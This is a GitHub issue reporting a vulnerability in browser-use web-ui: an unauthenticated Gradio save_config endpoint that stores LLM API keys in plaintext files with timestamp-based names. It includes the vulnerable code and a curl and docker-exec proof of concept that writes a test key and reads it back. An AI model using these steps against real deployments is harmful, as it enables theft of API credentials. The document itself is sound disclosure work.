Skip to content

Unauthenticated LLM API Key Plaintext Persistence via save_config #736

Description

@geo-chen

reported on 2 June 2026 https://github.com/browser-use/web-ui/security/advisories/GHSA-f7h6-rcrp-6c3j - no response.

Summary

The web-ui application exposes a Gradio API endpoint (/save_config) that requires no authentication and accepts LLM provider API keys as part of its input. These keys are written verbatim to a JSON file on the server at a predictable, timestamp-based path (./tmp/webui_settings/YYYYMMDD-HHMMSS.json). The file path is returned to the caller in the response. Any network-accessible user can call this endpoint and retrieve the file path; in deployments where the settings directory is accessible (mounted volumes, shared filesystems, or physical host access), the stored keys can be read in plaintext.

Details

The save_config function in src/webui/webui_manager.py receives all Gradio UI component values, including the LLM API Key field (component ID 26, agent_settings.llm_api_key), and writes them to a JSON file without any sanitization or encryption:

# src/webui/webui_manager.py lines 80-95
def save_config(self, components: Dict["Component", str]) -> None:
    cur_settings = {}
    for comp in components:
        if not isinstance(comp, gr.Button) and not isinstance(comp, gr.File) and str(
                getattr(comp, "interactive", True)).lower() != "false":
            comp_id = self.get_id_by_component(comp)
            cur_settings[comp_id] = components[comp]

    config_name = datetime.now().strftime("%Y%m%d-%H%M%S")
    with open(os.path.join(self.settings_save_dir, f"{config_name}.json"), "w") as fw:
        json.dump(cur_settings, fw, indent=4)

    return os.path.join(self.settings_save_dir, f"{config_name}.json")

The resulting JSON file contains the key in plaintext under agent_settings.llm_api_key. The file path is returned as the function's return value, which Gradio places in the Status textbox visible to the caller.

The application launches with no authentication by default:

# webui.py line 15
demo.queue().launch(server_name=args.ip, server_port=args.port)

The launch() call has no auth= parameter. The Gradio /config endpoint confirms auth_required: null. All 20 named API endpoints are reachable without credentials.

The file naming uses only a wall-clock timestamp (%Y%m%d-%H%M%S), making it predictable to the second. Files are created with mode 644 (world-readable within the container). In Docker deployments using bind mounts or shared volumes, these files are accessible to host users and other containers.

PoC

Prerequisites: web-ui running at http://TARGET:7788 (default port), no authentication configured (the default).

Step 1. Call save_config with an API key via the Gradio queue API:

curl -s -X POST "http://TARGET:7788/gradio_api/queue/join" \
  -H "Content-Type: application/json" \
  -d '{
    "data": ["","",null,"","openai","gpt-4o",0.6,true,16000,"","sk-SUPERSECRET-TESTKEY-abc123",
             null,null,0.6,false,16000,"","",100,10,128000,"auto","","",false,true,false,false,
             1280,1100,"","","","","./tmp/agent_history","./tmp/downloads",[],"",
             "Stop","Pause","Clear","Submit","<div></div>",null,null,null,"","","",1,
             "./tmp/deep_research","Stop","Run","",null,null,"Load Config","Save UI Settings",""],
    "fn_index": 17,
    "session_hash": "poc_session_001"
  }'

Step 2. Collect the result from the SSE stream:

curl -s "http://TARGET:7788/gradio_api/queue/data?session_hash=poc_session_001"

Expected output (SSE event):

data: {"msg":"process_completed","output":{"data":["./tmp/webui_settings/20260602-023419.json"]}}

Step 3. The returned path reveals the API key storage location. On the host:

docker exec CONTAINER cat /app/tmp/webui_settings/20260602-023419.json

Output:

{
    "agent_settings.llm_provider": "openai",
    "agent_settings.llm_api_key": "sk-SUPERSECRET-TESTKEY-abc123",
    ...
}

Confirmed live on commit 6196229, Gradio 5.27.0, container running as root (uid=0).

Impact

An attacker with network access to the web-ui service can:

  1. Enumerate saved configuration files by guessing timestamp-based filenames (predictable to the second).
  2. Retrieve LLM API keys in cleartext from those files if they have container or volume access.
  3. In shared deployments (team use, cloud-hosted), observe the returned file path from their own save_config call and correlate with administrator-saved configs saved at known times.

The default deployment has no authentication and no rate limiting. The container runs as root (uid=0), so the stored files are created and owned by root.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions